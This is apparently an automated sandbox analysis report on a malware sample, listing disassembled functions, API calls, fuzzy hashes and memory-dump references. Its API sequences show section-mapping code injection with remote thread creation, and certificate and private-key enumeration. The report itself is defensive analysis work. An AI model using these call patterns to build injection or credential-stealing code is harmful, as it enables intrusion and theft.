Opcode Fuzzy Hash: ad766b3969fddc35dc3ff1f72950dd3bc16db4ac8334f03efc3fd571d50c1c7d
Instruction Fuzzy Hash: 385129B5900245BBEF218F91CC48FEFBBB8EF86B00F144169F911AA2A5D7719905CB64

Function 00401606 Relevance: 10.7, APIs: 7, Instructions: 175
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(00000000,000000FF,000000FF,?,00000000,00000000,00000002,?,00000079), ref: 004016BE
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000,?,00000079), ref: 004016EB
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 0040170E

Memory Dump Source

Source File: 0000000A.00000002.3040414708.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_uegasii.jbxd

Similarity

API ID: Section$CreateDuplicateObjectView
String ID:
API String ID: 1652636561-0
Opcode ID: e0c996b45f475bcdee2b3acca27bfff8738185ab06689bd0def3de9b12292fcf
Instruction ID: 18644dced9cd2caf62a4109051f94e3e0c196277adac1f1b80d81581f0248fb5
Opcode Fuzzy Hash: e0c996b45f475bcdee2b3acca27bfff8738185ab06689bd0def3de9b12292fcf
Instruction Fuzzy Hash: 95512AB4900245BBEF208F91CC48FAFBBB8EF85B00F14416AF911BA2E5D7759941CB64

Function 00401627 Relevance: 10.7, APIs: 7, Instructions: 170
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(00000000,000000FF,000000FF,?,00000000,00000000,00000002,?,00000079), ref: 004016BE
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000,?,00000079), ref: 004016EB
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 0040170E
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 0040172C
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000,?,00000079), ref: 0040176D
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 0040179E
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 004017C0

Memory Dump Source

Source File: 0000000A.00000002.3040414708.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_uegasii.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: d0133b7f997d866bd9f22ed6d19c972adefd9311a1b1e22c4a59d1e070b776c3
Instruction ID: 9010f4212e2f095ee6e1513bebcb31b7ed322fe9e8888bc62802b8a5d7df5652
Opcode Fuzzy Hash: d0133b7f997d866bd9f22ed6d19c972adefd9311a1b1e22c4a59d1e070b776c3
Instruction Fuzzy Hash: 795128B4900249BBEF208F91CC48FAFBBB8EF85B00F140169F911BA2A5D7759941CB64

Function 00401641 Relevance: 10.7, APIs: 7, Instructions: 165
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(00000000,000000FF,000000FF,?,00000000,00000000,00000002,?,00000079), ref: 004016BE
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000,?,00000079), ref: 004016EB
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 0040170E
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 0040172C
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000,?,00000079), ref: 0040176D
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 0040179E
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 004017C0

Memory Dump Source

Source File: 0000000A.00000002.3040414708.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_uegasii.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: a951ce0e9a9537201a4ab380c462e1ce4e6ed323a6f782408602592e2a1882ae
Instruction ID: 9e1831f0ceb5ee828940fa86c31e9463c4dc41faf1b0eb7057c6f8c584aa9f8c
Opcode Fuzzy Hash: a951ce0e9a9537201a4ab380c462e1ce4e6ed323a6f782408602592e2a1882ae
Instruction Fuzzy Hash: 2A5109B5900249BFEF208F91CC48FEFBBB8EF86B00F104159F911AA2A5D7719945CB64

Function 00403103 Relevance: 3.2, APIs: 2, Instructions: 168
nativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlCreateUserThread.NTDLL ref: 0040322B
NtTerminateProcess.NTDLL ref: 0040323C

Memory Dump Source

Source File: 0000000A.00000002.3040414708.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_uegasii.jbxd

Similarity

API ID: CreateProcessTerminateThreadUser
String ID:
API String ID: 1921587553-0
Opcode ID: ba71293914487d9c4508611429cc1c96d45b5da92adc1af413e838efc5e3ffef
Instruction ID: dae095e867f3745097cc185a7748a697303a2d44691d7cc8a0ebaf8866640ae2
Opcode Fuzzy Hash: ba71293914487d9c4508611429cc1c96d45b5da92adc1af413e838efc5e3ffef
Instruction Fuzzy Hash: BB415832618E0C8FD768EE6CA8896A377D6E798351B1643BAD808D7384EE30D85183C5

Function 00403257 Relevance: 3.1, APIs: 2, Instructions: 83
nativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlCreateUserThread.NTDLL ref: 0040322B
NtTerminateProcess.NTDLL ref: 0040323C

Memory Dump Source

Source File: 0000000A.00000002.3040414708.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_uegasii.jbxd

Similarity

API ID: CreateProcessTerminateThreadUser
String ID:
API String ID: 1921587553-0
Opcode ID: 8f75c49c67d658a2c62e27a3415f0efa1266b4aad096af7960056c4103048e13
Instruction ID: ab58b7d6b66510dde6bc1fc7e766791280fd84229bd7d6ef16cc780df24ac814
Opcode Fuzzy Hash: 8f75c49c67d658a2c62e27a3415f0efa1266b4aad096af7960056c4103048e13
Instruction Fuzzy Hash: FC1156B181C6448FE714DF78A44A23A7FE4E754326F2407BFD446E12D1D63C8246824B

Function 0060003C Relevance: 11.0, APIs: 4, Strings: 2, Instructions: 515
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004), ref: 0060024D

Strings

kernel32.dll, xrefs: 0060008F, 00600095
cess, xrefs: 0060018D

Memory Dump Source

Source File: 0000000A.00000002.3040636907.0000000000600000.00000040.00001000.00020000.00000000.sdmp, Offset: 00600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_600000_uegasii.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID: cess$kernel32.dll
API String ID: 4275171209-1230238691
Opcode ID: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction ID: bbbf4db3596f4485a88410cc2d3c193017e3a9667bdecbbed5112f2fd1dd1f22
Opcode Fuzzy Hash: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction Fuzzy Hash: 02526974A01229DFDB64CF58C985BA9BBB1BF09304F1480E9E54DAB391DB30AE85DF14

Function 00415CF4 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 67
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNELBASE(00417374), ref: 00415D22
InterlockedDecrement.KERNEL32(?), ref: 00415D74

Strings

@3#v, xrefs: 00415D83
}$, xrefs: 00415D7B
k`, xrefs: 00415D57

Memory Dump Source

Source File: 0000000A.00000002.3040451216.000000000040B000.00000020.00000001.01000000.00000007.sdmp, Offset: 0040B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_40b000_uegasii.jbxd

Similarity

API ID: DecrementInterlockedLibraryLoad
String ID: @3#v$k`$}$
API String ID: 1728580480-3392953598
Opcode ID: 1220cc1870a5b44b748834b9607dd4274ce9cfefc33c15e109127477b7c52050
Instruction ID: e5749c029843646b42c966e7ad9aac78be9f25e1622ba3818e79b170e44d005a
Opcode Fuzzy Hash: 1220cc1870a5b44b748834b9607dd4274ce9cfefc33c15e109127477b7c52050
Instruction Fuzzy Hash: B7210830940A50CFC7249B24BD497EA7760EBC8321FA2847BD9499B291C67898C0CB8D

Function 00415680 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 63
librarymemoryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32(004F23E0), ref: 0041575F
GetProcAddress.KERNEL32(00000000,00419DC8), ref: 0041579C
VirtualProtect.KERNELBASE(004F2224,004F23DC,00000040,?), ref: 004157BB

Strings

, xrefs: 004156C5

Memory Dump Source

Source File: 0000000A.00000002.3040451216.000000000040B000.00000020.00000001.01000000.00000007.sdmp, Offset: 0040B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_40b000_uegasii.jbxd

Similarity

API ID: AddressHandleModuleProcProtectVirtual
String ID:
API String ID: 2099061454-3916222277
Opcode ID: 2d56005a38fc95e630bca09700ccda0a937271889cc88ec342df8eead2b79204
Instruction ID: 9cbdbad7550f6ba77ebf9f75069ac8a0e3d788a9a6da5ffb341793c156349206
Opcode Fuzzy Hash: 2d56005a38fc95e630bca09700ccda0a937271889cc88ec342df8eead2b79204
Instruction Fuzzy Hash: AD311960518780CAE305CB78FE647A23AA2EB69704F04807DD5488B3F1D7FE5928C72E

Function 00746C0A Relevance: 3.0, APIs: 2, Instructions: 41
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 00746C32
Module32First.KERNEL32(00000000,00000224), ref: 00746C52

Memory Dump Source

Source File: 0000000A.00000002.3041248373.0000000000743000.00000040.00000020.00020000.00000000.sdmp, Offset: 00743000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_743000_uegasii.jbxd

Yara matches

Similarity

API ID: CreateFirstModule32SnapshotToolhelp32
String ID:
API String ID: 3833638111-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: 921006f4b6a46a5521da69cdc927ffbdbde0fb2b985e75e2bf3e5e9eb8c49751
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: F1F06235600714ABD7202BF5A9CDB6A76E9EF4A724F100568E682910C0DB74FC454662

Function 00600E0F Relevance: 3.0, APIs: 2, Instructions: 15
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE(00000400,?,?,00600223,?,?), ref: 00600E19
SetErrorMode.KERNELBASE(00000000,?,?,00600223,?,?), ref: 00600E1E

Memory Dump Source

Source File: 0000000A.00000002.3040636907.0000000000600000.00000040.00001000.00020000.00000000.sdmp, Offset: 00600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_600000_uegasii.jbxd

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction ID: 5e5b7fc9be17af52c8aa1593ebc2cf7226538b4808b2ec5a12ddc81c56322646
Opcode Fuzzy Hash: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction Fuzzy Hash: 08D0123114512877D7002A94DC09BCE7B1CDF05B62F008411FB0DE9180C770994046E5

Function 004019C0 Relevance: 1.3, APIs: 1, Instructions: 68
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388), ref: 00401A31

Memory Dump Source

Source File: 0000000A.00000002.3040414708.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_uegasii.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 4123eb2909a1ca54cf4c12ed559c674bae09e9b4b475d8bbd2d0155f979259f4
Instruction ID: 8602aea7765920f14b43c6808a0d2033de268e003b0f0e4b19403496b7ccbc2b
Opcode Fuzzy Hash: 4123eb2909a1ca54cf4c12ed559c674bae09e9b4b475d8bbd2d0155f979259f4
Instruction Fuzzy Hash: 2B11CE3230A205EADB005AD9A941FBB32199B40754F3041B7B603B90F1953D8913BF2F

Function 004019E0 Relevance: 1.3, APIs: 1, Instructions: 60sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 00401A31

Part of subcall function 004015FB: NtDuplicateObject.NTDLL(00000000,000000FF,000000FF,?,00000000,00000000,00000002,?,00000079), ref: 004016BE
Part of subcall function 004015FB: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000,?,00000079), ref: 004016EB

Memory Dump Source

Source File: 0000000A.00000002.3040414708.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_uegasii.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: e17e85e8ed8125533f7e2167abb1cbc7a5f98fbf5ea5e47149eeb4735b4555ca
Instruction ID: 6e8e83dbc6cb5325300a6df4c81bf03677ed1736eef4dabc06710691df282c78
Opcode Fuzzy Hash: e17e85e8ed8125533f7e2167abb1cbc7a5f98fbf5ea5e47149eeb4735b4555ca
Instruction Fuzzy Hash: FA016D3230A209EADB005AD8AD41E7B3229AB40754F3001B7BA03790F1953D99137F2F

Function 004019EB Relevance: 1.3, APIs: 1, Instructions: 54sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 00401A31

Part of subcall function 004015FB: NtDuplicateObject.NTDLL(00000000,000000FF,000000FF,?,00000000,00000000,00000002,?,00000079), ref: 004016BE
Part of subcall function 004015FB: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000,?,00000079), ref: 004016EB

Memory Dump Source

Source File: 0000000A.00000002.3040414708.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_uegasii.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: d20dd15212e55eeb93c2ba4d893d672a11c9591f500a1070bb8e30cefc0e7994
Instruction ID: 2b2adc88e5ab551374836522510027b0c35959e32ac3f93f20a40eb2707c2e9b
Opcode Fuzzy Hash: d20dd15212e55eeb93c2ba4d893d672a11c9591f500a1070bb8e30cefc0e7994
Instruction Fuzzy Hash: C2014C3230A205EBDB009AD4ED41B6A3269AB44714F3041B7BA13B91F1D53D9A537F2B

Function 00401A04 Relevance: 1.3, APIs: 1, Instructions: 50sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 00401A31

Part of subcall function 004015FB: NtDuplicateObject.NTDLL(00000000,000000FF,000000FF,?,00000000,00000000,00000002,?,00000079), ref: 004016BE
Part of subcall function 004015FB: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000,?,00000079), ref: 004016EB

Memory Dump Source

Source File: 0000000A.00000002.3040414708.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_uegasii.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: 6956420fd1a0da5a043187b5517324543cb26d58a43067072202fc2494389932
Instruction ID: 8da435b4ef065fa937355dde1d01ef47451206c1f83fca999a74837282515cb4
Opcode Fuzzy Hash: 6956420fd1a0da5a043187b5517324543cb26d58a43067072202fc2494389932
Instruction Fuzzy Hash: 8B01363630A209EADB005AD8AD41EBA22559B44314F3042B7BA13B91F5D53D8A137F2F

Function 004019FD Relevance: 1.3, APIs: 1, Instructions: 49sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 00401A31

Part of subcall function 004015FB: NtDuplicateObject.NTDLL(00000000,000000FF,000000FF,?,00000000,00000000,00000002,?,00000079), ref: 004016BE
Part of subcall function 004015FB: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000,?,00000079), ref: 004016EB

Memory Dump Source

Source File: 0000000A.00000002.3040414708.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_uegasii.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: 470eaab1d85efef32b59b6b80de91dfe5f43d1552a0586931a32e3bd1b407b26
Instruction ID: da9cf87a9ed9cba2a5618582a19ce6b128e8deecbf4ee8231104359b1f28a93a
Opcode Fuzzy Hash: 470eaab1d85efef32b59b6b80de91dfe5f43d1552a0586931a32e3bd1b407b26
Instruction Fuzzy Hash: 4601863230A209EADB005AD49D41FBA22199B44714F3041B7BA13B90F1D53D8A137F2F

Function 007468C9 Relevance: 1.3, APIs: 1, Instructions: 48memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 0074691A

Memory Dump Source

Source File: 0000000A.00000002.3041248373.0000000000743000.00000040.00000020.00020000.00000000.sdmp, Offset: 00743000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_743000_uegasii.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: 27542dcbb6764b9920c0da2e39f018dd53a69f0775907283ddb108739708e2ff
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: 51113C79A00208EFDB01DF98C985E98BBF5EF08351F158094FA489B362D775EA50DF81

Function 00401A15 Relevance: 1.3, APIs: 1, Instructions: 42sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 00401A31

Part of subcall function 004015FB: NtDuplicateObject.NTDLL(00000000,000000FF,000000FF,?,00000000,00000000,00000002,?,00000079), ref: 004016BE
Part of subcall function 004015FB: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000,?,00000079), ref: 004016EB

Memory Dump Source

Source File: 0000000A.00000002.3040414708.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_uegasii.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: 47584117f720a46a046c478722b1e9804fa2bdf0c34a1eb8c3916f7c7194f890
Instruction ID: ef4a3633df93866afb86b86826f27a476d683f03040323dac8a7d7c578d0eba4
Opcode Fuzzy Hash: 47584117f720a46a046c478722b1e9804fa2bdf0c34a1eb8c3916f7c7194f890
Instruction Fuzzy Hash: 17F04432309206EBDB01AAD4DD41FAA3229AB44354F3041B7BA13B90F1D53C86127F2B

Function 00401A20 Relevance: 1.3, APIs: 1, Instructions: 42sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 00401A31

Part of subcall function 004015FB: NtDuplicateObject.NTDLL(00000000,000000FF,000000FF,?,00000000,00000000,00000002,?,00000079), ref: 004016BE
Part of subcall function 004015FB: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000,?,00000079), ref: 004016EB

Memory Dump Source

Source File: 0000000A.00000002.3040414708.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_uegasii.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: e9f1e890604c892da627bf4dac1adaaf6327a8231f252b78f611ae96bce34966
Instruction ID: 08c596e776171f083f15ab2e9130eea247f108212a51f0ba4fb69116c36cf548
Opcode Fuzzy Hash: e9f1e890604c892da627bf4dac1adaaf6327a8231f252b78f611ae96bce34966
Instruction Fuzzy Hash: 4BF0FF3230A209EADB005AD59D51EAA26699B44354F3041B7BA13B90F1D53D8A137F2B

Function 00415650 Relevance: 1.3, APIs: 1, Instructions: 6memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNELBASE(00000000,004F23DC,00415CD5), ref: 00415658

Memory Dump Source

Source File: 0000000A.00000002.3040451216.000000000040B000.00000020.00000001.01000000.00000007.sdmp, Offset: 0040B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_40b000_uegasii.jbxd

Similarity

API ID: AllocLocal
String ID:
API String ID: 3494564517-0
Opcode ID: 137ac3f92e9acb2c5fa584936085e74bc0c1da4fc1e5443efff9116a182976be
Instruction ID: 5e48a04f9e11dcc7131419058854abdc843f7e17987eb29baea089ef08641d0b
Opcode Fuzzy Hash: 137ac3f92e9acb2c5fa584936085e74bc0c1da4fc1e5443efff9116a182976be
Instruction Fuzzy Hash: 79B092B05421009FE200CB60AE04B203AA8E308202F018461B904C21A0D6B14410CA28

Non-executed Functions

Function 00415850 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 53COMMON

Download Yara Rule

APIs

BuildCommDCBW.KERNEL32(00000000,?), ref: 0041587D
SetCalendarInfoW.KERNEL32(00000000,00000000,00000000,00000000), ref: 004158C1
GetShortPathNameW.KERNEL32(00000000,?,00000000), ref: 004158D2

Strings

-, xrefs: 004158DF

Memory Dump Source

Source File: 0000000A.00000002.3040451216.000000000040B000.00000020.00000001.01000000.00000007.sdmp, Offset: 0040B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_40b000_uegasii.jbxd

Similarity

API ID: BuildCalendarCommInfoNamePathShort
String ID: -
API String ID: 1570861727-2547889144
Opcode ID: bc17eb0377387f5bad20137c454eddc6c6d7c052231a44a3ecaa76dbaeee760d
Instruction ID: 75a0542c090a1048562518fe0c410909b3098a1f030c9eacbf9327c34c692846
Opcode Fuzzy Hash: bc17eb0377387f5bad20137c454eddc6c6d7c052231a44a3ecaa76dbaeee760d
Instruction Fuzzy Hash: 3A11C630940204DAD760EF64DC81BED7BF4FB48310F5181B9E588AA1C0CE745AD98B99

Function 00415910 Relevance: 6.0, APIs: 4, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

QueryDosDeviceA.KERNEL32(00000000,?,00000000), ref: 00415944
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 0041595F
HeapDestroy.KERNEL32(00000000), ref: 0041597E
GetNumaHighestNodeNumber.KERNEL32(00000000), ref: 00415986

Memory Dump Source

Source File: 0000000A.00000002.3040451216.000000000040B000.00000020.00000001.01000000.00000007.sdmp, Offset: 0040B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_40b000_uegasii.jbxd

Similarity

API ID: DestroyDeviceEnvironmentFreeHeapHighestNodeNumaNumberQueryStrings
String ID:
API String ID: 367530164-0
Opcode ID: 97ff363394a7b784a3dec45dcbe4e62a596ef6cbb787102fc82400f029e94037
Instruction ID: c5ece5b07aa489753bf58a5f8e8b67b970329aa906d251dcea3a70d9a670a326
Opcode Fuzzy Hash: 97ff363394a7b784a3dec45dcbe4e62a596ef6cbb787102fc82400f029e94037
Instruction Fuzzy Hash: BE01DBB0650108DFD710EB64ED457EA37A8E70C316F414436F609D7291DAB45D94CF5E

Analysis Process: 8CAE.exePID: 5144, Parent PID: 4004COMMON

Execution Graph

Execution Coverage:	23.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	4.6%
Total number of Nodes:	857
Total number of Limit Nodes:	31

Executed Functions

Function 00007FF7CBCA7138 Relevance: 4.5, APIs: 3, Instructions: 38
comCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoInitializeEx.COMBASE(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7CBCA7503), ref: 00007FF7CBCA714F
CoInitializeSecurity.COMBASE ref: 00007FF7CBCA71B6
CoCreateInstance.COMBASE ref: 00007FF7CBCA71D3

Memory Dump Source

Source File: 0000000B.00000002.4582327275.00007FF7CBCA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CBCA0000, based on PE: true

Associated: 0000000B.00000002.4582203663.00007FF7CBCA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.4582365915.00007FF7CBCB1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.4582402290.00007FF7CBCB4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.4582453683.00007FF7CBCB5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7cbca0000_8CAE.jbxd

Similarity

API ID: Initialize$CreateInstanceSecurity
String ID:
API String ID: 89549506-0
Opcode ID: b06b60c75a0e364457e69cf4407a40afd88aa559a7b63d120074e74016c78773
Instruction ID: 29fb2367b9cdde2808705716e87e1773e5cf23658b3fe62767f5f4b70631e0dc
Opcode Fuzzy Hash: b06b60c75a0e364457e69cf4407a40afd88aa559a7b63d120074e74016c78773
Instruction Fuzzy Hash: 5D118C73A24640CAF3209F61E8593AE7774F34870DF608218EB491A958CF3CD245CB94

Function 00007FF7CBCA2654 Relevance: 3.0, APIs: 2, Instructions: 20
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32(?,?,?,00007FF7CBCA1951,?,?,00000000,00007FF7CBCA19BA), ref: 00007FF7CBCA2669
RtlReAllocateHeap.NTDLL(?,?,?,00007FF7CBCA1951,?,?,00000000,00007FF7CBCA19BA), ref: 00007FF7CBCA267A

Memory Dump Source

Source File: 0000000B.00000002.4582327275.00007FF7CBCA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CBCA0000, based on PE: true

Associated: 0000000B.00000002.4582203663.00007FF7CBCA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.4582365915.00007FF7CBCB1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.4582402290.00007FF7CBCB4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.4582453683.00007FF7CBCB5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7cbca0000_8CAE.jbxd

Similarity

API ID: Heap$AllocateProcess
String ID:
API String ID: 1357844191-0
Opcode ID: be938404752c85019b6f44b0f5e5ed4010620d834be4c87ef3aa5fcdd3d15046
Instruction ID: c157f1cc4890f256802a5b5615d5210543fd8802ee67f6507f9beb974e2fed63
Opcode Fuzzy Hash: be938404752c85019b6f44b0f5e5ed4010620d834be4c87ef3aa5fcdd3d15046
Instruction Fuzzy Hash: 79E08615A195A281E928AF9AB954079A135AF48FE0F888430FF0E0B775CE2CD5414610

Function 00007FF7CBCA2D5C Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 253
encryptiontimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CertEnumCertificatesInStore.CRYPT32 ref: 00007FF7CBCA2D90
CertGetNameStringW.CRYPT32 ref: 00007FF7CBCA2DD3
CertNameToStrW.CRYPT32 ref: 00007FF7CBCA2EB8
CertNameToStrW.CRYPT32 ref: 00007FF7CBCA2F0A
FileTimeToSystemTime.KERNEL32 ref: 00007FF7CBCA2F4B
FileTimeToSystemTime.KERNEL32 ref: 00007FF7CBCA2FC1

Part of subcall function 00007FF7CBCA1A70: wvsprintfW.USER32 ref: 00007FF7CBCA1AA9

Part of subcall function 00007FF7CBCA25B4: GetProcessHeap.KERNEL32 ref: 00007FF7CBCA25C1
Part of subcall function 00007FF7CBCA25B4: RtlFreeHeap.NTDLL ref: 00007FF7CBCA25CF

CertEnumCertificatesInStore.CRYPT32 ref: 00007FF7CBCA3178

Part of subcall function 00007FF7CBCA3220: CertGetCertificateContextProperty.CRYPT32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00007FF7CBCA2C48), ref: 00007FF7CBCA325E
Part of subcall function 00007FF7CBCA3220: CryptAcquireCertificatePrivateKey.CRYPT32 ref: 00007FF7CBCA328D
Part of subcall function 00007FF7CBCA3220: CryptGetUserKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00007FF7CBCA2C48), ref: 00007FF7CBCA32BB
